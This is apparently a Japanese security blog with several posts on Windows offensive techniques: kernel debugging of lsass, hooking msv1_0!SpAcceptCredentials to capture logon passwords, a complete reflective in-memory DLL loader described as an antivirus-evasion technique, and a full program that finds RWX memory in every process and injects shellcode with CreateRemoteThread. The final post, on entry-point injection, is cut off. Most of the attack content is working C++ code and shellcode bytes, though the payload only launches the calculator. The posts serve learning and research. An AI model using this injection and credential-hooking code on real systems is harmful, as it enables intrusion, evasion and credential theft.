WinDbg PreviewでVirtualBox上のWindowsホストをカーネルモードデバッグする
WinDbgでVirtualBox上のWindowsホストをカーネルモードデバッグする
環境
ホストのバージョンは以下。
PS C:\Users\ry0kvn> systeminfo OS 名: Microsoft Windows 10 Home OS バージョン: 10.0.18363 N/A ビルド 18363
Debugger client version: 1.0.2001.02001 Debugger engine version: 10.0.19528.1000
VirtualBoxのバージョンは以下。
バージョン 6.0.14 r133895 (Qt5.6.2)
VirtualBox上で動くWindowsホストのバージョンは以下。
PS C:\Users\User> systeminfo OS Name: Microsoft Windows 10 Enterprise Evaluation OS Version: 10.0.18362 N/A Build 18362
ネットワーク
pingでお互いに疎通確認して問題なければ先へ進む。 Windowsはデフォルトでpingに応答しないのでFirewallを切る必要があるかもしれない。
ターゲットホスト内での準備
ターゲットホスト内で管理者権限のPowerShellを起動し以下を実行する。
BCDEditコマンドでブート構成データ (BCD) を編集する。
# カーネルデバッグの有効化 bcdedit /debug on # ホストのIP、ターゲットで待ち受けるポートを設定 bcdedit /dbgsettings net hostip:[HOSTIP] port:[PORT] # key=表示されるのでメモっておくこと # 設定内容を表示 bcdedit /dbgsettings
ここまでの処理を行ったら次はホスト側での作業に移る。
ホストでの準備
このタイミングでターゲットホストを再起動するとWinDbgに接続が返る。
参考
KernelDebug setting https://t.co/V7UKY14fer @YouTubeさんから
— ry0kvn (@ry0kvn) 2020年2月2日
以上。
メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる
メモリパッチによるmsv1_0!SpAcceptCredentialsのフックをやってみる
Windowsは対話型のユーザー名/パスワードベースのログオン用に2つの認証パッケージ、すなわちMSV1_0とKerberosを使用する。
後者はよく知られているように、ドメインのログオン用に利用される。 一方ドメインコントローラがネットワーク上で発見できない場合は、 キャッシュされた認証情報を基にMSV1_0パッケージを使用してローカルコンピュータへログオンする。
MSV1_0パッケージはrunasなどの一時的に他ユーザーの権限でコマンドを実行する場合の認証にも使用される。
MSV1_0パッケージの実体はmsv1_0.dllであり、内部に含まれるSpAcceptCredentialsFn関数がローカルセキュリティ機関(LSA)を呼び出すことで認証を行う。
今回は以下のサイトを参考に、DLLインジェクションによるメモリパッチを行うことで、msv1_0.dll内のSpAcceptCredentials関数をフックし認証情報を取得してみる。
カーネルモードでのデバッグ
まずはmsv1_0.dll内のSpAcceptCredentialsFn関数を発見する。 この関数はエクスポートもインポートもされない、DLL内のみで使用されるラッパー関数である。 ユーザーが入力した認証情報はまずこの関数に渡され、さらに Lsassの関数を使用するなどしてハッシュ化した認証情報の比較を行う。
LsassはWindowsの認証の根幹を成すシステムプロセスであり、その実態はlsass.exeである。 lsass.exeプロセスへ通常プロセスのようにアタッチするとシステムがクラッシュまたはフリーズする。 したがって、解析にはカーネルモードでのデバッグが必要になる。
今回はユーザーモードおよびカーネルモードの両方に対応したGUIベースのデバッガーであるWinDbg Previewを使用する。
WinDbg Previewを使ったカーネルデバッグに必要な準備は以下の記事を参考にしてほしい。
lsass.exeの解析
カーネルデバッグの準備が済めばいよいよlsass.exeプロセスの解析を開始する。
まずは全プロセスからlsass.exeプロセスのEPROCESS構造体を見つける。
見つけたlsass.exeプロセスのEPROCESS構造体の値を元に、lsass.exeプロセスのコンテキストにスイッチする。
ロードされているモジュールのリストを表示してみる。
msv1_0.dllが表示されない。
!pebでプロセスが読み込んでいるモジュールの一覧を表示する。 この中にはmsv1_0.dllが存在し、正しく読み込まれていることがわかる。
シンボル情報のリロードを行って正しく読み込まれるかやってみる。
読み込まれたようだ。
次に問題の関数へブレークポイントを設定する。
最後にターゲットホストでrunasコマンドなどの認証が必要な処理を呼び出す。
以下の画像はターゲットホスト上のPowerShellでrunasコマンド発行しようとしている瞬間の画像である。 認証情報を入力しエンターを押したところでブレークポイントに到達し停止している。
SpAcceptCredentials関数のインターフェースは以下のようになっており、第2引数に渡されるPSECPKG_PRIMARY_CRED構造体に認証情報が格納される。
SpAcceptCredentialsFn Spacceptcredentialsfn; NTSTATUS Spacceptcredentialsfn( SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials ) {...}
typedef struct _SECPKG_PRIMARY_CRED { LUID LogonId; UNICODE_STRING DownlevelName; // Sam Account Name UNICODE_STRING DomainName; // Netbios domain name where account is located UNICODE_STRING Password; UNICODE_STRING OldPassword; PSID UserSid; ULONG Flags; UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) UNICODE_STRING Upn; // UPN of account (if known) UNICODE_STRING LogonServer; UNICODE_STRING Spare1; UNICODE_STRING Spare2; UNICODE_STRING Spare3; UNICODE_STRING Spare4; } SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
デバッガで中を表示した様子が以下。 引数に渡されている文字列を参照すると確かにこの関数に認証情報が渡されていることが確認できる。
以上のことからこの関数をフックしてその引数をインターセプトしてやれば認証情報を取得できることがわかる。
以降からこの関数をフックするプログラムを開発する。
フックコードの開発
これからSpAcceptCredentialsをフックし、認証情報をリークさせるDLLを開発する。
CreateProcessやLoadlibraryなどのように、DLLからエクスポートされている関数をフックする場合その関数へのアドレスは関数ポインタなどを利用することによって簡単に求められる。
しかし今回フックするSpAcceptCredentialsはmsv1_0.dllからエクスポートされていないため、関数ポインタ利用によるアドレスの取得はできない。 このような場合、メモリ領域を探索しそのアドレスを求める必要がある。
まず特徴点となるSpAcceptCredentialsの機械語を調査する。 実際には、これからやりたいことを既に実現してるMimikatzのコードを参考に以下の機械語を特徴点として選択した。
4883ec20498bd9498bf88bf148
したがってmsv1_0.dllがロードされているイメージ領域内を上の値で探索すればSpAcceptCredentialsへのアドレスが求められる。
ちなみにIDAやGhidraを使ってSpAcceptCredentialsの特徴点となる機械語で検索をかけ、デコンパイルするとSpAcceptCredentialsの内部構造がわかりやすい。 以下の画像が実際にデコンパイルを行い、調整を加えたSpAcceptCredentialsである。
まとめると、SpAcceptCredentialsをフックするには以下のような手順を踏めばよい
- SpAcceptCredentialsをインポートするmsv1_0.dllのハンドルを取得
- ハンドルからmsv1_0.dllのイメージ領域とそのサイズを取得
- イメージ領域内をSpAcceptCredentialsの特徴点となる機械語で探索
- SpAcceptCredentials内の数バイトを認証情報をリークさせる関数へとジャンプする機械語へ書き換える
- 認証情報をリークさせる関数の最後で、正規のSpAcceptCredentialsを呼び出させる
以上の手順でフックは完了だ。
デモ
SpAcceptCredentialsFn callback function memory patch https://t.co/exyKQXf5OU @YouTubeさんから
— ry0kvn (@ry0kvn) 2020年2月1日
まとめ
コードは参考サイトからみつけることができる。 通常のフックとは違い、内部関数のリバーシング、バイトパターンでの仮想メモリの探索など勉強になった。
参考サイト
メモリからDLLを読み込んでみる
メモリからDLLを読み込んでみる
DLL(dynamic link library)は通常、Windows APIのLoadlibraryやLoadlibraryEXを使ってディスク上から読み込んで使用する。 このLoadLibraryやLoadLibraryExは、ファイルシステム上のファイルでのみ機能し直接メモリからDLLをロードすることはできない。またこれを端的に実現できる公式のWindows APIも存在しない。 メモリからDLLを読み込むには疑似的なPEローダーを実装する必要がある。
ゲームやマルウェアの開発者は、解析難度の向上やアンチウイルスソフトによる検出回避を狙ってしばしばこういった手法をとることがある。 この記事では、メモリからDLLを読み込むために必要なPEファイルの構造について簡易に解説した後、以下のリポジトリを参考に実際にメモリからDLLを読み込ませてみる。
本記事がPEファイルフォーマットの理解と、それを利用した各種テクニックへの理解につながれば幸いだ。
ディスク上からの読み込み
ディスクからのDLL読み込みには、LoadLibraryを使用する。 LoadLibraryを発行すると、Windowsは大まかに次のような処理を行う。
- 指定されたファイルを開き、DOSおよびPEヘッダーを確認する。
- 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する。
- セクションヘッダーを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする。
- ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
- ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
- フラグDLL_PROCESS_ATTACHを使用してDLLのエントリポイント(AddressOfEntryPoint)を呼び出す。
LoadLibraryなどは上のような処理を経て、ディスク上に作成されたDLLを実行可能な形に調整しながらメモリ上に読み込む。
この記事では簡便のために、ディスク上のDLLファイルをメモリ上に読み込んだ後、実行可能な形にメモリ上で再配置し、実際に動作させてみる。
DLLの準備
アタッチするとメッセージボックスがポップアップする簡単なDLLを用意する。
#include<Windows.h> #pragma comment(lib, "user32") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"Hello?", L"Title", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
DLLファイルの読み込み
次に、このDLLファイルをメモリから読み込むプログラムを準備する。 まずはディスク上のDLLをオープンし、メモリ上に配置する。
HANDLE dll = CreateFileA("[PATH]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(dll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); ReadFile(dll, dllBytes, dllSize, NULL, NULL);
これだけではDLLをファイルとして読み込んだにすぎない。 動作させるにはローダーが行う処理をエミュレートする必要がある。 以降その処理を解説をする。
セクションのコピー
まず先んじてメモリ上にセクションのコピーを行う。NumberOfSectionsだけセクションをメモリ上にコピーする。 イメージファイルがロードされたアドレスにVirtualAddressを加算したアドレスへSizeOfRawData分セクション用の領域を確保する。
// セクションのロード ///////////////////////////////////////// PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL); section++; } /////////////////////////////////////////
PE内のセクションと実際にメモリ上にロードされたセクションの関係は以下の図が分かりやすい
イメージベースの再配置
リンカ―によってPEファイル内に解決されたIamgeBaseと、ローダーによって実際にロードされるImageBaseが異なることがある。 リンカ―はPEファイル内のIamgeBaseに沿って各種の依存関係を解決している。 もしローダーがこのImageBaseと異なるアドレスへのロードを選択した場合、ローダーによってアドレスの依存関係の修正が行われる。 この処理をベース再配置と呼ぶ。
以前記事にしたProcess Hollowingでも同様の解説を行っているがここで改めて触れておく。
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる - Snoozy
まずリンカ―によってPEファイル内に指定されたIamgeBaseと、ローダーによって実際にロードされるImageBaseの差Deltaを求める。 この差が0でない場合、ベース再配置が必要で、.relocセクションに格納されている再配置テーブルに基いて修正を開始する。
.relocセクションに格納されている再配置テーブルはベース再配置が必要なアドレスのリストである。 各アドレス値を取得し、Deltaだけアドレスを加算する。この値でテーブルを上書きしていくことでベース再配置が完了する。
// ベース再配置 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; // Deltaを求める DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); } } /////////////////////////////////////////
IATの解決
IAT(Import Address Table)はインポートするAPIのエントリーポイントのリストである。 DLLはこのIATを参照しつつAPIを呼び出すことになる。 たとえば今回のようにメッセージボックスをポップアップさせるDLLであれば、User32.dllからエクスポートされるMessageBox関連のAPIを使用する。正常に動作させるためには事前にDLLをメモリ上にロードし、エクスポートされるAPIのアドレスをIATに解決しておかなければならない。
IATの走査手順をまとめておく。
まずインポートが必要なDLL分ループを回す。 インポート情報はIMAGE_IMPORT_DESCRIPTOR構造体の配列で表される。 リンクが必要なDLLの数+1だけ、IMPORT_IMAGE_DESCRIPTOR構造体が連なる。 最後の1つはすべてNULLであり終端の識別に使用する。
インポートが必要なDLLが存在する場合はLoadlibraryを使って実際にDLLをメモリにロードする。 IMAGE_IMPORT_DESCRIPTOR構造体のメンバFirstThunkはIMAGE_THUNK_DATA構造体へのRVAである。IMAGE_THUNK_DATA構造体がIAT及びINTとして使われる構造体で、この構造体にインポートしたいAPIの名前または実際のメモリ上のアドレスが格納される。
APIが名前でインポートされているか序数でインポートされているかで処理を分岐させる。これを取得するためにIMAGE_SNAP_BY_ORDINALというマクロを使い、Ordinal の最上位ビットが立っているかどうかで判別する。 また、最上位ビットをマスクして序数値を取得するために、IMAGE_ORDINAL というマクロがありこれを利用する。 序数によるインポートである場合はGetProcAddressに序数を、API名によるインポートである場合はAPI名を引数に渡すことで、メモリにロードしたDLLからエクスポートされる各APIへのエントリーポインタへのアドレスを取得する。
// IATの解決 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; // インポートが必要なDLL分ループ while (importDescriptor->Name != NULL) { // DLL名をもとにメモリにモジュールをロード libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得 PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase); // インポートするAPI分ループ while (thunk->u1.AddressOfData != NULL) { // 序数に基づいてインポート if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { // API名に基づいてインポート PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } /////////////////////////////////////////
IATがどう遷移するかは以下の画像がわかりやすい。
DLLがディスク上にある状態ではIAT、INTともに同じ構造体を指す。
DLLのIATが解決されると、IATは実際のアドレスが格納されたIMAGE_THUNK_DATA構造体を指すようになる。
出典:Exciting Journey Towards Import Address Table (IAT) of an Executable
DLLの実行
以上でDLLを実行可能にするために必要な最低限の処理は済んだ。 最後にDLLの実行だ。 ファイル内のAddressOfEntryPointが実行開始アドレスであるため、DLL_PROCESS_ATTACHフラグを付与して関数ポインタとして実行すればよい。
// ロードしたDLLの実行 ///////////////////////////////////////// DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); /////////////////////////////////////////
コード
以下が完成したコード。
#include <Windows.h> #include<stdio.h> typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); int main() { // DLLファイルのロード HANDLE hdll = CreateFileA("[PATHTODLL]\\TestDLL.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dllSize = GetFileSize(hdll, NULL); LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize); ReadFile(hdll, dllBytes, dllSize, NULL, NULL); // NTヘッダーのロード PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(GetCurrentProcess(), dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders, NULL); // セクションのロード ///////////////////////////////////////// PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); WriteProcessMemory(GetCurrentProcess(), sectionDestination, sectionBytes, section->SizeOfRawData, NULL); section++; } ///////////////////////////////////////// // ベース再配置 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0; // Deltaを求める DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); } } ///////////////////////////////////////// // IATの解決 ///////////////////////////////////////// IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = ""; HMODULE library = NULL; // インポートが必要なDLL分ループ while (importDescriptor->Name != NULL) { // DLL名をもとにメモリにモジュールをロード libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA(libraryName); if (library) { // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得 PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase); // インポートするAPI分ループ while (thunk->u1.AddressOfData != NULL) { // 序数に基づいてインポート if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { // API名に基づいてインポート PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } ///////////////////////////////////////// // ロードしたDLLの実行 ///////////////////////////////////////// DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0); ///////////////////////////////////////// CloseHandle(hdll); HeapFree(GetProcessHeap(), 0, dllBytes); return 0; }
デモ
実際に動作させてみた様子が以下の動画。
IATが順次解決され、最終的にDLLが適切に読み込まれている様子が確認できる。IATを解決してメモリからDLLをロードしている様子 pic.twitter.com/2bhdRm3GzP
— ry0kvn (@ry0kvn) 2020年1月19日
参考サイト
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
VirtualQueryExによるRWX保護メモリの列挙をやってみる
VirtualQueryExによるRWX保護メモリの列挙をやってみる
マルウェアが使う基本的なcode injection手法の一部には、最初にVritualAllocを使ってターゲットプロセス内に実行可能なメモリ領域を割り当て、その領域にコードを書き込むことで攻撃者が望む処理を実行させることがある。
今回はVirtualQueryExを利用して、ターゲット端末内で動作する全てのプロセス上の既に割り当てられているRWX保護なメモリ領域を発見しシェルコードの書き込みと実行をさせてみる。
まず先んじて、仮想アドレス空間内のページに関する情報を列挙するプログラムを実装する。
仮想アドレス領域内のページ情報
Windowsにおいてプロセスの仮想アドレス領域内の各ページは、状態(State)、アクセス保護(Protect)、タイプ(Type)の3つの要素を持つ。 以下に3つの要素が取りうる値をそれぞれまとめた。
State | Value | Meaning |
---|---|---|
MEM_COMMIT | 0x1000 | Indicates committed pages for which physical storage has been allocated, either in memory or in the paging file on disk. |
MEM_FREE | 0x10000 | Indicates free pages not accessible to the calling process and available to be allocated. For free pages, the information in the AllocationBase, AllocationProtect, Protect, and Type members is undefined. |
MEM_RESERVE | 0x2000 | Indicates reserved pages where a range of the process's virtual address space is reserved without any physical storage being allocated. For reserved pages, the information in the Protect member is undefined. |
Type | Value | Meaning |
---|---|---|
MEM_IMAGE | 0x1000000 | Indicates that the memory pages within the region are mapped into the view of an image section. |
MEM_MAPPED | 0x40000 | Indicates that the memory pages within the region are mapped into the view of a section. |
MEM_PRIVATE | 0x20000 | Indicates that the memory pages within the region are private (that is, not shared by other processes). |
アクセス保護に関しては長すぎるので以下のページを参照してほしい。
https://docs.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants
シェルコードが実行可能なのは、それぞれStateがMEM_COMMIT、TypeがMEM_PRIVATE、メモリ保護がPAGE_EXECUTE_READWRITEなメモリ領域である。
VirtualQueryExによるページ情報取得
VirtualQueryEXにターゲットプロセスのハンドルを渡すことで、仮想メモリのページ情報を得ることができる。 具体的には以下のようなMEMORY_BASIC_INFORMATION構造体に各種情報が格納される。
typedef struct _MEMORY_BASIC_INFORMATION { PVOID BaseAddress; PVOID AllocationBase; DWORD AllocationProtect; SIZE_T RegionSize; DWORD State; DWORD Protect; DWORD Type; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
まずは特定のプロセスに対してこれらの情報を取得するプログラムを実装してみる。
#include<stdio.h> #include <Windows.h> #include <cstdlib> // pause() int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; STARTUPINFOA StartupInfo = {}; PROCESS_INFORMATION ProcessInfo = {}; CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo); printf("ProcessId:%d\n", ProcessInfo.dwProcessId); printf("Base address\t\tState\tType\tProtection\n"); while (VirtualQueryEx(ProcessInfo.hProcess, offset, &mbi, sizeof(mbi))) { printf("%p", mbi.BaseAddress); printf("\t%x", mbi.State); printf("\t%x", mbi.Type); printf("\t%x\n", mbi.AllocationProtect); offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); } system("PAUSE"); TerminateProcess(ProcessInfo.hProcess, NULL); CloseHandle(ProcessInfo.hProcess); return 0; }
これを実行すると次のような結果が得られる。 Process Hackerで取得できる内容と一致していることがわかる。
シェルコードの書き込みと実行
次にシステム上で動作する全プロセスに対してページ情報を取得するプログラムを実装する。 これはCreateToolhelp32SnapshotとProcess32First、Process32Nextを使えばよい。
最後に、RWX保護なメモリ領域に対して悪意あるシェルコードに見立てた電卓を起動するシェルコードを書き込み実行させてみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
完成したコードは以下のようになる。
#include <iostream> #include <Windows.h> #include <TlHelp32.h> int main() { MEMORY_BASIC_INFORMATION mbi = {}; LPVOID offset = 0; HANDLE process = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); DWORD bytesWritten = 0; unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; Process32First(snapshot, &processEntry); while (Process32Next(snapshot, &processEntry)) { process = OpenProcess( MAXIMUM_ALLOWED, false, processEntry.th32ProcessID); if (process) { std::wcout << processEntry.szExeFile << "[" << processEntry.th32ProcessID << "]\n"; while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi))) { offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize); if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) { std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL); CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL); } } offset = 0; } CloseHandle(process); } return 0; }
目当てのメモリ領域を見つかるとWriteProcessMemoryでシェルコードをその領域へ書き込み、CreateRemoteThreadでターゲットプロセス内に新規スレッドを作成することでシェルコードが実行される。
以下のように電卓が起動するはずだ。
まとめ
本記事の内容は参考サイトで見つけた内容をそのまま手元で再現してみたというものだ。 Windos APIを使いこなせればシステムに関する各種情報を簡単に収集でき強力なプログラムを組めるということが実感できた。
参考サイト
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる。 PEファイルフォーマットのAddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスを指している。したがってAddressOfEntryPointが指すメモリ領域の属性は必ず実行可能である。 プロセスのメインスレッドの実行に先んじてこのメモリ領域をシェルコードで上書きすることで、任意のコードを実行できる。
今回は悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
PEファイルフォーマットのAddressOfEntryPointについて
